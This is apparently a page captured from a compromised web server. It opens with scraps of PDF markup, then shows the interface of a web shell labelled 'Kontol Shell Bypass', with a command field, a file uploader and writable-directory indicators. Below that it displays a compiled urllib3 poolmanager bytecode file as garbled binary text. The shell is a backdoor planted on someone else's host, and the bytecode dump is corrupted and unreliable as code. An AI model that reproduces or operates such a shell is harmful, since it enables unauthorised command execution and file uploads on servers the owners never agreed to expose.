%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/urllib3/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/urllib3/__pycache__/poolmanager.cpython-39.pyc
a

�_g�Y�@s�ddlmZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZddl
mZddlmZdd	lmZmZmZdd
lmZmZmZmZddlmZddlmZdd
lmZddl m!Z!ddl"m#Z#ddl$m%Z%m&Z&ej'r�ddl(Z(ddl)m*Z*gd�Z+e�,e-�Z.dZ/dZ0Gdd�dej1�Z2dddd�dd�Z3e�4e3e2�e�4e3e2�d�Z5eed�Z6Gdd�de�Z7Gdd �d e7�Z8d!d"d d#�d$d%�Z9dS)&�)�annotationsN)�
TracebackType)�urljoin�)�HTTPHeaderDict�RecentlyUsedContainer)�RequestMethods)�ProxyConfig)�HTTPConnectionPool�HTTPSConnectionPool�port_by_scheme)�LocationValueError�
MaxRetryError�ProxySchemeUnknown�URLSchemeUnknown)�BaseHTTPResponse)�_TYPE_SOCKET_OPTIONS)�connection_requires_http_tunnel)�Retry)�Timeout)�Url�	parse_url)�Self)�PoolManager�ProxyManager�proxy_from_url)�key_file�	cert_file�	cert_reqs�ca_certs�ca_cert_data�ssl_versionZssl_minimum_versionZssl_maximum_version�ca_cert_dir�ssl_context�key_password�server_hostnamei@c@s�eZdZUdZded<ded<ded<ded<d	ed
<ded<d
ed<ded<ded<ded<ded<ded<ded<ded<ded<ded<ded<ded<ded<d ed!<d"ed#<d ed$<d%ed&<d'ed(<d ed)<d*ed+<ded,<ded-<ded.<d/S)0�PoolKeyz�
    All known keyword arguments that could be provided to the pool manager, its
    pools, or the underlying connections.

    All custom key schemes should include the fields in this key at a minimum.
    �str�
key_scheme�key_host�
int | None�key_portzTimeout | float | int | None�key_timeoutzRetry | bool | int | None�key_retrieszbool | None�	key_blockztuple[str, int] | None�key_source_address�
str | None�key_key_file�key_key_password�
key_cert_file�
key_cert_reqs�key_ca_certszstr | bytes | NoneZkey_ca_cert_datazint | str | None�key_ssl_versionzssl.TLSVersion | NoneZkey_ssl_minimum_versionZkey_ssl_maximum_version�key_ca_cert_dir�ssl.SSLContext | None�key_ssl_context�key_maxsizez!frozenset[tuple[str, str]] | None�key_headers�
Url | None�
key__proxy�key__proxy_headers�ProxyConfig | None�key__proxy_configz_TYPE_SOCKET_OPTIONS | None�key_socket_options�key__socks_optionszbool | str | None�key_assert_hostname�key_assert_fingerprint�key_server_hostname�
key_blocksizeN)�__name__�
__module__�__qualname__�__doc__�__annotations__�rLrL�@/vddos/python/lib/python3.9/site-packages/urllib3/poolmanager.pyr&8s<
r&z
type[PoolKey]�dict[str, typing.Any])�	key_class�request_context�returncCs�|��}|d��|d<|d��|d<dD],}||vr,||dur,t||���||<q,|�d�}|durxt|�|d<t|���D]}|�|�|d|<q�|j	D]}||vr�d||<q�|�d�dur�t
|d<|fi|��S)a�
    Create a pool key out of a request context dictionary.

    According to RFC 3986, both the scheme and host are case-insensitive.
    Therefore, this function normalizes both before constructing the pool
    key for an HTTPS request. If you wish to change this behaviour, provide
    alternate callables to ``key_fn_by_scheme``.

    :param key_class:
        The class to use when constructing the key. This should be a namedtuple
        with the ``scheme`` and ``host`` keys at a minimum.
    :type  key_class: namedtuple
    :param request_context:
        A dictionary-like object that contain the context for a request.
    :type  request_context: dict

    :return: A namedtuple that can be used as a connection pool key.
    :rtype:  PoolKey
    �scheme�host)�headers�_proxy_headers�_socks_optionsN�socket_options�key_rF)�copy�lower�	frozenset�items�get�tuple�list�keys�pop�_fields�_DEFAULT_BLOCKSIZE)rOrP�context�key�socket_opts�fieldrLrLrM�_default_key_normalizer_s"


rh��http�httpscseZdZUdZdZded<dZded<d@dd	d
dd��fd
d�
Zdd�dd�Zddddd�dd�Z	dAdddddd�dd�Z
dd�d d!�ZdBd#d$d#ddd%�d&d'�Zd(dd)�d*d+�Z
d,d(dd-�d.d/�ZdCdddd0�d1d2�Zdd(d3�d4d5�Zd6d7d8�d9d:�ZdDddd7d
d<d=�d>d?�Z�ZS)EraV
    Allows for arbitrary requests while transparently keeping track of
    necessary connection pools for you.

    :param num_pools:
        Number of connection pools to cache before discarding the least
        recently used pool.

    :param headers:
        Headers to include with all requests, unless other headers are given
        explicitly.

    :param \**connection_pool_kw:
        Additional parameters are used to create fresh
        :class:`urllib3.connectionpool.ConnectionPool` instances.

    Example:

    .. code-block:: python

        import urllib3

        http = urllib3.PoolManager(num_pools=2)

        resp1 = http.request("GET", "https://google.com/")
        resp2 = http.request("GET", "https://google.com/mail")
        resp3 = http.request("GET", "https://yahoo.com/")

        print(len(http.pools))
        # 2

    Nr<�proxyr?�proxy_config�
�int�typing.Mapping[str, str] | None�
typing.Any�None)�	num_poolsrT�connection_pool_kwrQcs4t��|�||_|t|�|_t|_t��|_dS�N)�super�__init__rtr�pools�pool_classes_by_scheme�key_fn_by_schemerY)�selfrsrTrt��	__class__rLrMrw�s
zPoolManager.__init__r)rQcCs|SrurL�r{rLrLrM�	__enter__�szPoolManager.__enter__ztype[BaseException] | NonezBaseException | NonezTracebackType | Noneztyping.Literal[False])�exc_type�exc_val�exc_tbrQcCs|��dS)NF)�clear)r{r�r�r�rLrLrM�__exit__�szPoolManager.__exit__r'�dict[str, typing.Any] | Noner
)rRrS�portrPrQcCsx|j|}|dur|j��}|�d�dur2t|d<dD]}|�|d�q6|dkrftD]}|�|d�qT|||fi|��S)a�
        Create a new :class:`urllib3.connectionpool.ConnectionPool` based on host, port, scheme, and
        any additional pool keyword arguments.

        If ``request_context`` is provided, it is provided as keyword arguments
        to the pool class used. This method is used to actually create the
        connection pools handed out by :meth:`connection_from_url` and
        companion methods. It is intended to be overridden for customization.
        N�	blocksize)rRrSr�rj)ryrtrYr]rcra�SSL_KEYWORDS)r{rRrSr�rP�pool_clsre�kwrLrLrM�	_new_pool�s

zPoolManager._new_poolcCs|j��dS)z�
        Empty our store of pools and direct them all to close.

        This will not affect in-flight connections, but they will not be
        re-used after completion.
        N)rxr�r~rLrLrMr�szPoolManager.clearrjr0r*�rSr�rR�pool_kwargsrQcCsT|std��|�|�}|pd|d<|s:t�|d��d�}||d<||d<|�|�S)a�
        Get a :class:`urllib3.connectionpool.ConnectionPool` based on the host, port, and scheme.

        If ``port`` isn't given, it will be derived from the ``scheme`` using
        ``urllib3.connectionpool.port_by_scheme``. If ``pool_kwargs`` is
        provided, it is merged with the instance's ``connection_pool_kw``
        variable and used to create the new connection pool, if one is
        needed.
        zNo host specified.rjrR�Pr�rS)r
�_merge_pool_kwargsrr]rZ�connection_from_context)r{rSr�rRr�rPrLrLrM�connection_from_hosts
z PoolManager.connection_from_hostrN)rPrQcCsXd|vrt�dt�|�d�|d��}|j�|�}|sBt|��||�}|j||d�S)z�
        Get a :class:`urllib3.connectionpool.ConnectionPool` based on the request context.

        ``request_context`` must at least contain the ``scheme`` key and its
        value must be a key in ``key_fn_by_scheme`` instance variable.
        �strictzdThe 'strict' parameter is no longer needed on Python 3+. This will raise an error in urllib3 v2.1.0.rR�rP)	�warnings�warn�DeprecationWarningrarZrzr]r�connection_from_pool_key)r{rPrR�pool_key_constructor�pool_keyrLrLrMr�1s	�
z#PoolManager.connection_from_contextr&)r�rPrQcCs�|jj�f|j�|�}|r,|Wd�S|d}|d}|d}|j||||d�}||j|<Wd�n1st0Y|S)a
        Get a :class:`urllib3.connectionpool.ConnectionPool` based on the provided pool key.

        ``pool_key`` should be a namedtuple that only contains immutable
        objects. At a minimum it must have the ``scheme``, ``host``, and
        ``port`` fields.
        NrRrSr�r�)rx�lockr]r�)r{r�rP�poolrRrSr�rLrLrMr�Js

(z$PoolManager.connection_from_pool_key)�urlr�rQcCs t|�}|j|j|j|j|d�S)a�
        Similar to :func:`urllib3.connectionpool.connection_from_url`.

        If ``pool_kwargs`` is not provided and a new pool needs to be
        constructed, ``self.connection_pool_kw`` is used to initialize
        the :class:`urllib3.connectionpool.ConnectionPool`. If ``pool_kwargs``
        is provided, it is used instead. Note that if a new pool does not
        need to be created for the request, the provided ``pool_kwargs`` are
        not used.
        )r�rRr�)rr�rSr�rR)r{r�r��urLrLrM�connection_from_urlds
�zPoolManager.connection_from_url)�overriderQc	CsT|j��}|rP|��D]8\}}|durFz
||=WqNtyBYqN0q|||<q|S)a
        Merge a dictionary of override values for self.connection_pool_kw.

        This does not modify self.connection_pool_kw and returns a new dict.
        Any keys in the override dictionary with a value of ``None`` are
        removed from the merged dictionary.
        N)rtrYr\�KeyError)r{r��base_pool_kwargsre�valuerLrLrMr�vs



zPoolManager._merge_pool_kwargsr�bool)�
parsed_urlrQcCs"|jdurdSt|j|j|j�S)z�
        Indicates if the proxy requires the complete destination URL in the
        request.  Normally this is only needed when not using an HTTP CONNECT
        tunnel.
        NF)rlrrmrR)r{r�rLrLrM�!_proxy_requires_url_absolute_form�s

�z-PoolManager._proxy_requires_url_absolute_formTr��methodr��redirectr�rQcKs�t|�}|jdur"tjdtdd�|j|j|j|jd�}d|d<d|d<d	|vrZ|j|d	<|�	|�rz|j
||fi|��}n|j
||jfi|��}|o�|��}|s�|St
||�}|jd
kr�d}d|d<t|d	���|d	<|�d
�}	t|	t�s�tj|	|d�}	|	j�rN|�|��sN|d	��}
|d	D]"}|��|	jv�r"|
�|d��q"|
|d	<z|	j||||d�}	Wn*t�y�|	j�r�|���|YS0|	|d
<||d<t�d||�|��|j
||fi|��S)aN
        Same as :meth:`urllib3.HTTPConnectionPool.urlopen`
        with custom cross-host redirect logic and only sends the request-uri
        portion of the ``url``.

        The given ``url`` parameter must be absolute, such that an appropriate
        :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.
        Na	URLs without a scheme (ie 'https://') are deprecated and will raise an error in a future version of urllib3. To avoid this DeprecationWarning ensure all URLs start with 'https://' or 'http://'. Read more in this issue: https://github.com/urllib3/urllib3/issues/2920�)�category�
stacklevel)r�rRF�assert_same_hostr�rTi/�GET�body�retries)r�)�response�_poolzRedirecting %s -> %s) rrRr�r�r�r�rSr�rTr��urlopen�request_uri�get_redirect_locationr�statusr�_prepare_for_method_changer]�
isinstancer�from_int�remove_headers_on_redirect�is_same_hostrYrZra�	incrementr�raise_on_redirect�
drain_conn�log�info)r{r�r�r�r�r��connr��redirect_locationr��new_headers�headerrLrLrMr��s\
�	





�
zPoolManager.urlopen)rnN)N)NrjN)N)T)rGrHrIrJrlrKrmrwrr�r�r�r�r�r�r�r�r�r��
__classcell__rLrLr|rMr�s.
!��&���rcs�eZdZdZd!dddddd	d
ddd
d�
�fdd�
Zd"dddddd��fdd�
Zd#dddd�dd�Zd$ddd	ddd��fdd �
Z�ZS)%ra>
    Behaves just like :class:`PoolManager`, but sends all requests through
    the defined proxy, using the CONNECT method for HTTPS URLs.

    :param proxy_url:
        The URL of the proxy to be used.

    :param proxy_headers:
        A dictionary containing headers that will be sent to the proxy. In case
        of HTTP they are being sent with each request, while in the
        HTTPS/CONNECT case they are sent only once. Could be used for proxy
        authentication.

    :param proxy_ssl_context:
        The proxy SSL context is used to establish the TLS connection to the
        proxy when using HTTPS proxies.

    :param use_forwarding_for_https:
        (Defaults to False) If set to True will forward requests to the HTTPS
        proxy to be made on behalf of the client instead of creating a TLS
        tunnel via the CONNECT method. **Enabling this flag means that request
        and response headers and content will be visible from the HTTPS proxy**
        whereas tunneling keeps request and response headers and content
        private.  IP address, target hostname, SNI, and port are always visible
        to an HTTPS proxy even when this flag is disabled.

    :param proxy_assert_hostname:
        The hostname of the certificate to verify against.

    :param proxy_assert_fingerprint:
        The fingerprint of the certificate to verify against.

    Example:

    .. code-block:: python

        import urllib3

        proxy = urllib3.ProxyManager("https://localhost:3128/")

        resp1 = proxy.request("GET", "https://google.com/")
        resp2 = proxy.request("GET", "https://httpbin.org/")

        print(len(proxy.pools))
        # 1

        resp3 = proxy.request("GET", "https://httpbin.org/")
        resp4 = proxy.request("GET", "https://twitter.com/")

        print(len(proxy.pools))
        # 3

    rnNFr'rorpr8r�z"None | str | typing.Literal[False]r0rqrr)
�	proxy_urlrsrT�
proxy_headers�proxy_ssl_context�use_forwarding_for_https�proxy_assert_hostname�proxy_assert_fingerprintrtrQc	
s�t|t�r&|j�d|j�d|j��}
n|}
t|
�}|jdvrFt|j��|jsft�|jd�}|j	|d�}||_
|pri|_||_t
||||�|_|j
|	d<|j|	d<|j|	d<t�j||fi|	��dS)	Nz://�:rir�)r��_proxyrU�
_proxy_config)r�r
rRrSr�rrrr]�_replacerlr�r�r	rmrvrw)
r{r�rsrTr�r�r�r�r�rtZ
str_proxy_urlrlr�r|rLrMrw#s,



�


zProxyManager.__init__rjr*r�r
r�cs<|dkrt�j||||d�St�j|jj|jj|jj|d�S)Nrk)r�)rvr�rlrSr�rR)r{rSr�rRr�r|rLrMr�Ls��z!ProxyManager.connection_from_hostztyping.Mapping[str, str])r�rTrQcCs0ddi}t|�j}|r||d<|r,|�|�|S)z�
        Sets headers needed by proxies: specifically, the Accept and Host
        headers. Only sets headers not provided by the user.
        �Acceptz*/*�Host)r�netloc�update)r{r�rT�headers_r�rLrLrM�_set_proxy_headers\s

zProxyManager._set_proxy_headersTrr�csRt|�}t|j|j|j�s8|�d|j�}|�||�|d<t�j	||fd|i|��S)z@Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute.rTr�)
rrrlrmrRr]rTr�rvr�)r{r�r�r�r�r�rTr|rLrMr�ms
zProxyManager.urlopen)rnNNNFNN)NrjN)N)T)	rGrHrIrJrwr�r�r�r�rLrLr|rMr�s"9�&,���rr'rq)r�r�rQcKstfd|i|��S)Nr�)r)r�r�rLrLrMr|sr):�
__future__r�	functools�logging�typingr��typesr�urllib.parser�_collectionsrrZ_request_methodsr�
connectionr	�connectionpoolr
rr�
exceptionsr
rrrr�rZutil.connectionrZ
util.proxyrZ
util.retryrZutil.timeoutrZutil.urlrr�
TYPE_CHECKING�ssl�typing_extensionsr�__all__�	getLoggerrGr�r�rc�
NamedTupler&rh�partialrzryrrrrLrLrLrM�<module>sH
'<

�
L

Kontol Shell Bypass